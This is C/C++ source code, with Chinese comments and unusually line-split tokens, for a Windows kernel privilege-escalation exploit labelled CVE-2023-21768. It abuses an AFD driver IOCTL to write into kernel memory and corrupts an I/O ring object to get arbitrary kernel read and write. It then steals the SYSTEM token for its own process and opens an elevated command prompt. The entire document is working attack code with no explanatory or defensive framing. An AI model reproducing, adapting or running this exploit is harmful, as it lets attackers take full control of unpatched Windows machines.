DWORD(WINAPI
*
_NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI
*
_NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID
*
ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI
*
_NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI
*
_NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI
*
_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
namespace CVE_2023_21768
{
HIORING hIoRing
=
NULL;
PIORING_OBJECT pIoRing
=
NULL;
HANDLE hInPipe
=
INVALID_HANDLE_VALUE;
HANDLE hOutPipe
=
INVALID_HANDLE_VALUE;
HANDLE hInPipeClient
=
INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient
=
INVALID_HANDLE_VALUE;
DWORD64 FakeRegBufferAddr
=
0x1000000
;
PVOID pFakeRegBuffers
=
NULL;
unsigned
int
FakeRegBuffersCount
=
1
;
DWORD64 SystemEPROCaddr
=
0
;
DWORD64 MyEPROCaddr
=
0
;
DWORD64 SystemTokenaddr
=
0
;
DWORD64 MyTokenaddr
=
0
;
DWORD64 test
=
0
;
}
using namespace CVE_2023_21768;
/
/
漏洞点任意地址写
0x1
BOOL
ExploitWrite0x1(void
*
pTargetPtr)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent
=
NULL;
HANDLE hSocket
=
NULL;
HANDLE hCompletion
=
INVALID_HANDLE_VALUE;
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus
=
0
;
BYTE bExtendedAttributes[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0F
,
0x1E
,
0x00
,
0x41
,
0x66
,
0x64
,
0x4F
,
0x70
,
0x65
,
0x6E
,
0x50
,
0x61
,
0x63
,
0x6B
,
0x65
,
0x74
,
0x58
,
0x58
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x06
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x60
,
0xEF
,
0x3D
,
0x47
,
0xFE
};
AFD_NOTIFYSOCK_DATA Data
=
{
0
};
/
/
create status event
hEvent
=
CreateEvent(NULL,
0
,
0
, NULL);
if
(hEvent
=
=
NULL)
{
/
/
error
return
FALSE;
}
/
/
set
afd endpoint path
memset((void
*
)&ObjectFilePath,
0
, sizeof(ObjectFilePath));
ObjectFilePath.
Buffer
=
(PWSTR)L
"\\Device\\Afd\\Endpoint"
;
ObjectFilePath.Length
=
wcslen(ObjectFilePath.
Buffer
)
*
sizeof(wchar_t);
ObjectFilePath.MaximumLength
=
ObjectFilePath.Length;
/
/
initialise
object
attributes
memset((void
*
)&ObjectAttributes,
0
, sizeof(ObjectAttributes));
ObjectAttributes.Length
=
sizeof(ObjectAttributes);
ObjectAttributes.ObjectName
=
&ObjectFilePath;
ObjectAttributes.Attributes
=
0x40
;
/
/
create socket handle
IoStatusBlock.Status
=
0
;
IoStatusBlock.Information
=
NULL;
dwStatus
=
_NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL,
0
, FILE_SHARE_READ | FILE_SHARE_WRITE,
1
,
0
, bExtendedAttributes, sizeof(bExtendedAttributes));
if
(dwStatus !
=
0
)
{
/
/
error
CloseHandle(hEvent);
return
FALSE;
}
_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL,
1
);
_NtSetIoCompletion(hCompletion,
0
, &IoStatusBlock,
0
,
1
);
Data.HandleIoCompletion
=
hCompletion;
Data.pData1
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter
=
0x1
;
Data.dwLen
=
0x1
;
Data.dwTimeout
=
100000000
;
Data.pPwnPtr
=
pTargetPtr;
/
*
__kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
[
in
] HANDLE FileHandle,
[
in
, optional] HANDLE Event,
[
in
, optional] PIO_APC_ROUTINE ApcRoutine,
[
in
, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[
in
] ULONG IoControlCode,
[
in
, optional] PVOID InputBuffer,
[
in
] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[
in
] ULONG OutputBufferLength
);
*
/
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data,
0x30
, NULL,
0
);
if
(INVALID_HANDLE_VALUE !
=
hCompletion)
{
CloseHandle(hCompletion);
}
if
(INVALID_HANDLE_VALUE !
=
hSocket)
{
CloseHandle(hSocket);
}
if
(NULL !
=
hEvent)
{
CloseHandle(hEvent);
}
if
(NULL !
=
Data.pData1)
{
VirtualFree(Data.pData1,
0
, MEM_RELEASE);
}
if
(NULL !
=
Data.pData2)
{
VirtualFree(Data.pData2,
0
, MEM_RELEASE);
}
return
TRUE;
}
int
getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
int
ret
=
-
1
;
PSYSTEM_HANDLE_INFORMATION pHandleInfo
=
NULL;
ULONG ulBytes
=
0
;
NTSTATUS ntStatus
=
STATUS_SUCCESS;
while
((ntStatus
=
_NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes))
=
=
STATUS_INFO_LENGTH_MISMATCH)
{
if
(pHandleInfo !
=
NULL)
{
pHandleInfo
=
(PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo,
2
*
ulBytes);
}
else
{
pHandleInfo
=
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
2
*
ulBytes);
}
}
if
(ntStatus !
=
STATUS_SUCCESS)
{
ret
=
ntStatus;
goto done;
}
for
(ULONG i
=
0
; i < pHandleInfo
-
>NumberOfHandles; i
+
+
)
{
if
((pHandleInfo
-
>Handles[i].UniqueProcessId
=
=
ulPid) && (pHandleInfo
-
>Handles[i].HandleValue
=
=
(unsigned short)handle))
{
*
ppObjAddr
=
(ULONG64)pHandleInfo
-
>Handles[i].
Object
;
ret
=
0
;
break
;
}
}
done:
if
(NULL !
=
pHandleInfo)
{
HeapFree(GetProcessHeap,
0
, pHandleInfo);
}
return
ret;
}
int
ioring_init(PIORING_OBJECT
*
ppIoRingAddr)
{
int
ret
=
-
1
;
IORING_CREATE_FLAGS ioRingFlags;
/
/
创建IoRing
ioRingFlags.Required
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory
=
IORING_CREATE_ADVISORY_FLAGS_NONE;
ret
=
CreateIoRing(IORING_VERSION_3, ioRingFlags,
0x10000
,
0x20000
, &hIoRing);
if
(
0
!
=
ret)
{
printf(
"CreateIoRing failed"
);
return
FALSE;
}
/
/
获取内核层指向IORING_OBJECT的结构体指针
ret
=
getobjptr((PULONG64)ppIoRingAddr, GetCurrentProcessId(),
*
(PHANDLE)hIoRing);
if
(
0
!
=
ret)
{
return
FALSE;
}
pIoRing
=
*
ppIoRingAddr;
return
TRUE;
}
BOOL
File_init()
{
hInPipe
=
CreateNamedPipeW(L
"\\\\.\\pipe\\ioring_in"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
hOutPipe
=
CreateNamedPipeW(L
"\\\\.\\pipe\\ioring_out"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipe) || (INVALID_HANDLE_VALUE
=
=
hOutPipe))
{
printf(
"CreateNamedPipeW failed"
);
return
FALSE;
}
hInPipeClient
=
CreateFileW(L
"\\\\.\\pipe\\ioring_in"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient
=
CreateFileW(L
"\\\\.\\pipe\\ioring_out"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipeClient) || (INVALID_HANDLE_VALUE
=
=
hOutPipeClient))
{
printf(
"CreateNamedPipeW failed"
);
return
FALSE;
}
return
TRUE;
}
BOOL
FakeRegisterBuffers_init()
{
_HIORING
*
phIoRing
=
NULL;
/
/
设置内核层的_IORING_OBJECT结构体
/
/
IoRing
-
>RegBuffers
=
0x1000000
if
(!ExploitWrite0x1((char
*
)&pIoRing
-
>RegBuffers
+
0x3
))
{
printf(
"IoRing->RegBuffers write failed"
);
return
FALSE;
}
/
/
IoRing
-
>RegBuffersCount
=
0x1s
if
(!ExploitWrite0x1((char
*
)&pIoRing
-
>RegBuffersCount))
{
printf(
"IoRing->RegBuffersCount write failed"
);
return
FALSE;
}
/
/
在
0x1000000
申请对应Count数的空间,这应该是个结构体指针数组,每个指针都指向_IOP_MC_BUFFER_ENTRY结构体
pFakeRegBuffers
=
VirtualAlloc((LPVOID)FakeRegBufferAddr, sizeof(ULONG64)
*
FakeRegBuffersCount, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memset(pFakeRegBuffers,
0
, sizeof(ULONG64)
*
FakeRegBuffersCount);
/
/
设置用户层的_HIORING结构体
phIoRing
=
*
(_HIORING
*
*
)&hIoRing;
phIoRing
-
>RegBufferArray
=
pFakeRegBuffers;
phIoRing
-
>BufferArraySize
=
FakeRegBuffersCount;
return
TRUE;
}
BOOL
TokenAddr_init()
{
HANDLE hProc
=
NULL;
hProc
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, GetCurrentProcessId());
getobjptr(&SystemEPROCaddr,
4
, (HANDLE)
4
);
getobjptr(&MyEPROCaddr, GetCurrentProcessId(), hProc);
SystemTokenaddr
=
SystemEPROCaddr
+
EPROC_TOKEN_OFFSET;
MyTokenaddr
=
MyEPROCaddr
+
EPROC_TOKEN_OFFSET;
printf(
"SystemTokenaddr : %llx\n"
, SystemTokenaddr);
printf(
"MyTokenaddr : %llx\n"
, MyTokenaddr);
return
TRUE;
}
BOOL
Init_CVE_2023_21768()
{
_NtCreateFile
=
(unsigned
long
(__stdcall
*
)(PHANDLE, unsigned
long
, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned
long
, unsigned
long
, unsigned
long
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtCreateFile"
);
_NtDeviceIoControlFile
=
(unsigned
long
(__stdcall
*
)(HANDLE, void
*
, void
*
, void
*
, PIO_STATUS_BLOCK, unsigned
long
, void
*
, unsigned
long
, void
*
, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtDeviceIoControlFile"
);
_NtCreateIoCompletion
=
(unsigned
long
(__stdcall
*
)(PHANDLE, unsigned
long
, POBJECT_ATTRIBUTES, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtCreateIoCompletion"
);
_NtSetIoCompletion
=
(unsigned
long
(__stdcall
*
)(HANDLE, unsigned
long
, PIO_STATUS_BLOCK, NTSTATUS, unsigned
long
))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtSetIoCompletion"
);
_NtQuerySystemInformation
=
(unsigned
long
(__stdcall
*
)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA(
"ntdll.dll"
),
"NtQuerySystemInformation"
);
if
(_NtSetIoCompletion
=
=
NULL|| _NtDeviceIoControlFile
=
=
NULL|| _NtCreateFile
=
=
NULL|| _NtCreateIoCompletion
=
=
NULL)
{
printf(
"get function false "
);
return
FALSE;
}
ioring_init(&pIoRing);
File_init();
FakeRegisterBuffers_init();
TokenAddr_init();
}
int
ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
pMcBufferEntry
=
(PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
(PVOID)pReadAddr;
pMcBufferEntry
-
>Length
=
ulReadLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
(ULONG64)pMcBufferEntry;
ret
=
BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen,
0
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
if
(
0
=
=
ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
int
ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
if
(
0
=
=
WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
=
(PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
(PVOID)pWriteAddr;
pMcBufferEntry
-
>Length
=
ulWriteLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
(ULONG64)pMcBufferEntry;
ret
=
BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen,
0
, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
VOID PrivilegeEscalatio()
{
ULONG64 ullSysToken;
/
/
ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)&test, &ullSysToken, sizeof(ULONG64));
/
/
printf(
"%llx\n"
, &test);
ioring_read((PULONG64)pFakeRegBuffers, SystemTokenaddr, &ullSysToken, sizeof(ULONG64));
printf(
"ullSysToken : %llx\n"
, ullSysToken);
ioring_write((PULONG64)pFakeRegBuffers, MyTokenaddr, &ullSysToken, sizeof(ULONG64));
}
VOID CreateCmd()
{
STARTUPINFO si
=
{ sizeof(si) };
PROCESS_INFORMATION pi
=
{
0
};
si.dwFlags
=
STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_SHOW;
WCHAR wzFilePath[MAX_PATH]
=
{ L
"cmd.exe"
};
BOOL
bReturn
=
CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if
(bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID FixData()
{
char null[
0x10
]
=
{
0
};
ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)(&pIoRing
-
>RegBuffersCount), &null,
0x10
);
if
(pFakeRegBuffers !
=
NULL)
{
VirtualFree(pFakeRegBuffers, sizeof(ULONG64)
*
FakeRegBuffersCount, MEM_RELEASE);
}
if
(hIoRing !
=
NULL)
{
CloseHandle(hIoRing);
}
}
int
main()
{
Init_CVE_2023_21768();
PrivilegeEscalatio();
CreateCmd();
FixData();
}